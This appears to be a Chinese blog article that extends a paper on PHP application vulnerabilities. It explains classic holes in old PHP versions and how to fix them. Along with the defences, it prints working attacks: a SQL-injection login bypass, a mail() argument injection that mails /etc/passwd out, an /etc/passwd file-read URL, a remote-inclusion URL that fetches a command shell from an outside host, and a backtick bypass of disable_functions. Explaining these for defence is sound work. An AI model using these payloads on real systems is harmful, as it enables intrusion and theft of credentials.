PHP研究之续

 Exploiting Common Vulnerabilities in PHP Applications 之续

Shaun Clowes
的文章 Exploiting Common Vulnerabilities in PHP Applications 的确写的很棒,
考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是攻击。
1
、古老的欺骗 SQL 语句
在默认模式下,即使是你忘了把 php.ini 拷到 /usr/local/lib/php.ini 下, php 还是打开 magic_quotes_gpc on
这样所有从 GET/POST/Cookie 来的变量的单引号 (') 、双引号 (") 、反斜杠 backslash(\) 以及空字元 NUL
(the null byte)
都会被加上反斜杠,以使数据库能够正确查询。
但是在 php-4-RC2 的时候引入了一个配置文件 php.ini-optimized ,这个优化的 php.ini 却是
magic_quotes_gpc
off 的。某些网管看到 optimized 字样也许就会把 php.ini-optimized 拷到
/usr/local/lib/php.ini
,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:
select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'
我们就可以在用户框和密码框输入 1‘ or 1='1 通过验证了。这是非常古董的方法了,这个语句会
替换成这样:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因为 or 1='1' 成立,所以通过了。
解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从 GET/POST/Cookie 来的并且用在 SQL
中的变量加一个自定义的函数:
function gpc2sql($str) {
    if(get_magic_quotes_gpc()==1)
        return $str;
    else
        return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。

2
mail 函数的第五个参数
php-4.0.5 的时候, mail 函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊 SHELL 命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail("[email protected]", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
这个是存在问题的,如果 $SERVER_NAME=;mail [email protected] < /etc/passwd 就能把机器的密码发送
到我的信箱了。
这里提醒一下, php 手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的
基本功能,理解了就可以了。
对于 mail 函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如 (;) ,还有就是修改
php
源码包的程序 ext/standard/mail.c ,在 if (extra_cmd != NULL) { 前增加如下一行:
extra_cmd=NULL
然后重新编译。

3
UNIX 版的 require, include 函数
win
版本的 require include 函数是不支持 HTTP FTP 远程文件包含的,而 UNIX 版本默认都是支持远程包含文件。
require
include 不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。
我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多 require include 函数,
而且有时用变量作为参数,比如: include("$something"); 如果这时用户能控制 $something 参数,而这个
参数又没有过滤,那就惨拉。
首先可以看任何 web 用户有读权限的文件,假设这个程序叫 http://victim/test.php ,这样我们就可以用如下
url: http://victim/test.php?something=/etc/passwd
看到 /etc/passwd 文件。
另外可以利用其远程文件包含的功能执行命令。比如我在 www.xfocus.org 下建立一个文件 test.php ,内容是:
<?passthru($cmd)?>
,那么我就可以用如下的 url:
http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname
这种方式运行任
意的命令。
phpMyAdmin
也出现了这个问题,我们可以用它看任何我们想看的文件。但是它在 include 前,先用 file_exist
函数判断文件是否存在,而这个 file_exist 是不支持远程文件的,所以上面第二种办法无法直接使用。但是我们
可以利用 apache 的日志功能,请求一个带 php 代码的 url ,这样, something 指定为 apache 的日志也可以执行命
令了,但是 apache 的日志通常比较大,有太多杂乱信息。
http://www.securereality.com.au/sradv00008.txt
提到的办法比较巧妙,用 file upload 的方式把本地
的执行命令的脚本上传,会在服务器的文件上传临时目录里产生 php8Ta02I 之类的文件名,由于这时文件是存在的
,所以能通过 file_exist 函数,从而执行上传文件里的执行脚本。

所以对于 include, require 函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能
让用户来控制。还有通过修改 php.ini 文件去掉远程文件包含这个功能。这个在 php-4.0.3 以前用
disable-url-fopen-wrapper
在以后的版本用 allow_url_fopen off 来关闭。

4
disable_function
php-4.0.1 php.ini 里引入了一项功能 disable_functions , 这个功能比较有用,可以用它禁止一些函数。
比如在 php.ini 里加上 disable_functions = passthru exec system popen 那么在执行这些函数的时候
只会提示 Warning: system() has been disabled for security reasons.
唉,但是也不是没有办法执行系统命令了。因为 php 采用了很多 perl 的特性,比如还可以用 (`) 来执行命令:
<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>
这个只有设成 safe_mode 才能避免,可是可恶的 safe_mode 实在是限制太多了,做其它事情也有些碍手碍脚。
5
file upload
php
文件上传的问题在文章 http://www.securereality.com.au/sradv00001.html 里已经描述的很清楚了,
这的确是个比较严重的问题,一般我们要上传的文件也会放在 web 目录,所以容易给攻击者得到系统的一些 web 用户
能读的文件。
幸亏在 php-4.0.3 以后提供了 is_uploaded_file move_uploaded_file 函数。所以 php-4.0.3 以上的上传文
件的程序一定不要再用 copy 函数了,用 move_uploaded_file 代替,它会检查是否是上传的文件。如果是 php-4.0.2
及以下的,建议在 copy 前加一个函数:
function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file.='/'.basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

这个漏洞在安全焦点呆了很久,只是在 copy 之前有很多验证阿、判断阿的语句,所以使之攻击存在相当的难度,赫赫。

还有,千万不要以环境变量、 Cookie 变量、 session 变量等作为关系生死的判断条件,因为这些变量太容易被伪造了。
呵呵,手头事情比较多,其它慢慢想到了再加吧,也欢迎其他同志任意的添加修改之。

你可能感兴趣的:(PHP,职场,安全,休闲,中数博阳)